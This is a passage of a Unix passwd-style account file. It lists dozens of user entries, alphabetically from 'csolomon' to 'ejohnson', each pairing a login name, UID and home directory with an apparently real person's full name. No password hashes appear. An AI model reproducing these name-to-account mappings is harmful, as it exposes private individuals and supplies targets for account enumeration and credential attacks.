csolomon:*:688:100:Cindy J Solomon:/users/csolomon:/bin/bash ctassone:*:284:100:Carmen L. Tassone:/users/ctassone:/bin/bash cwaldspurger:*:301:100:Carl Waldspurger:/users/cwaldspurger:/bin/bash cwillems:*:1119:100:Connie L. Willems:/users/cwillems:/bin/bash cwillett:*:1140:100:christopher k willett:/users/cwillett:/bin/bash cwomer:*:1192:100:craig womer:/users/cwomer:/bin/bash cwomer1:*:1024:100:Craig M. Womer:/users/cwomer1:/bin/bash cyates:*:573:100:Christopher D. Yates:/users/cyates:/bin/bash cyoung:*:948:100:Cynthia Young:/users/cyoung:/bin/bash davis1:*:241:100:Peter Davis:/users/davis1:/bin/bash davis2:*:242:100:Peter Davis:/users/davis2:/bin/bash dbaker:*:838:100:Douglas N Baker:/users/dbaker:/bin/bash dbarton:*:486:100:David barton:/users/dbarton:/bin/bash dboukata:*:503:100:Dmitri Boukata:/users/dboukata:/bin/bash dbrisset:*:741:100:Dider Brisset:/users/dbrisset:/bin/bash dcamden3:*:1012:100:Laura Friedman:/users/dcamden3:/bin/bash dcittadini:*:553:100:David Cittadini:/users/dcittadini:/bin/bash dcooper:*:1144:100:Thomas Jorin:/users/dcooper:/bin/bash dcrestfield:*:1159:100:Duke Crestfield:/users/dcrestfield:/bin/bash dcrossley:*:1087:100:David Crossley:/users/dcrossley:/bin/bash ddavison:*:901:100:Don Davidson:/users/ddavison:/bin/bash delliott:*:260:100:David Elliott:/users/delliott:/bin/bash dgray:*:770:100:d c gray:/users/dgray:/bin/bash dhaase:*:316:100:David Haase:/users/dhaase:/bin/bash dhunt:*:718:100:Davis Hunt:/users/dhunt:/bin/bash dhunt2:*:719:100:Davis Hunt:/users/dhunt2:/bin/bash diehl:*:103:100:George Diehl:/users/diehl:/bin/bash djohnson:*:795:100:Douglas Johnson:/users/djohnson:/bin/bash dkinsella:*:493:100:Doris Kinsella:/users/dkinsella:/bin/bash dleader:*:648:100:al :/users/dleader:/bin/bash dlendon:*:366:100:David Lendon:/users/dlendon:/bin/bash dleslie:*:720:100:David Leslie:/users/dleslie:/bin/bash dmank:*:1068:100:Dean Mank:/users/dmank:/bin/bash dmccusker:*:670:100:Denis P. McCusker:/users/dmccusker:/bin/bash dmelfi8:*:684:100:Dominic J. Melfi:/users/dmelfi8:/bin/bash dmichener:*:647:100:Daniel Robert Michener:/users/dmichener:/bin/bash dmoore:*:2000:100:Delvin:/users/dmoore:/bin/bash dmoreno:*:859:100:David Gilbert Moreno:/users/dmoreno:/bin/bash dmuscat:*:347:100:david j muscat:/users/dmuscat:/bin/bash dname:*:635:100:al h:/users/dname:/bin/bash dname1:*:636:100:al h:/users/dname1:/bin/bash dnightingale:*:497:100:David C Nightingale:/users/dnightingale:/bin/bash domainl:*:609:100:Al:/users/domainl:/bin/bash domreg:*:633:100:Al :/users/domreg:/bin/bash dpadmore:*:1126:100:d padmore:/users/dpadmore:/bin/bash dphaneuf:*:958:100:Doug Phaneuf:/users/dphaneuf:/bin/bash dphillips:*:963:100:Doug C. Phillips:/users/dphillips:/bin/bash dpuelle:*:643:100:David W Puelle:/users/dpuelle:/bin/bash dquartiere:*:833:100:Don Quartiere:/users/dquartiere:/bin/bash dregis:*:768:100:unknown:/users/dregis:/bin/bash dsaxena2:*:712:100:DESH B SAXENA:/users/dsaxena2:/bin/bash dsaxena3:*:713:100:DESH B SAXENA:/users/dsaxena3:/bin/bash dsaxena7:*:418:100:DESH B SAXENA:/users/dsaxena7:/bin/bash dschlenker:*:248:100:douglas schlenker:/users/dschlenker:/bin/bash dsharman:*:1091:100:David W.H. Sharman:/users/dsharman:/bin/bash dsigrist:*:707:100:Donnie A Sigrist:/users/dsigrist:/bin/bash dsilver:*:592:100:Dennis Silver:/users/dsilver:/bin/bash dsmith:*:735:100:Don C. Smith:/users/dsmith:/bin/bash dstover:*:582:100:Deb Stover:/users/dstover:/bin/bash dtuller:*:942:100:Doug Tuller:/users/dtuller:/bin/bash dwarmbrodt:*:407:100:David J Warmbrodt:/users/dwarmbrodt:/bin/bash ebohorquez2:*:994:100:E.A. Bohorquez:/users/ebohorquez2:/bin/bash ecroix:*:722:100:Ellon-Emma S. St. Croix:/users/ecroix:/bin/bash edale:*:1103:100:Elsa L Dale:/users/edale:/bin/bash eholcomb:*:1053:100:Eric Holcomb:/users/eholcomb:/bin/bash ehoward1:*:656:100:Eric J Howard:/users/ehoward1:/bin/bash ehoward2:*:657:100:Eric J Howard:/users/ehoward2:/bin/bash ejohnson:*:603:100:Eric Johnson